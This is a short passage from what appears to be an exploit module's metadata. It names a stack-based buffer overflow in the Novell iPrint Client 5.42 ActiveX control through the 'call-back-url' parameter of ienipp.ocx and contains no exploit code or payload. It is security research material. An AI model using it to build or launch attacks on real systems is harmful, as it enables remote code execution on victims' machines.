'Name' => 'Novell iPrint Client ActiveX Control call-back-url Buffer Overflow',  
'Description' => %q{  
This module exploits a stack-based buffer overflow in Novell iPrint Client 5.42.  
When sending an overly long string to the 'call-back-url' parameter in an  
op-client-interface-version action of ienipp.ocx an attacker may be able to  
execute arbitrary code.
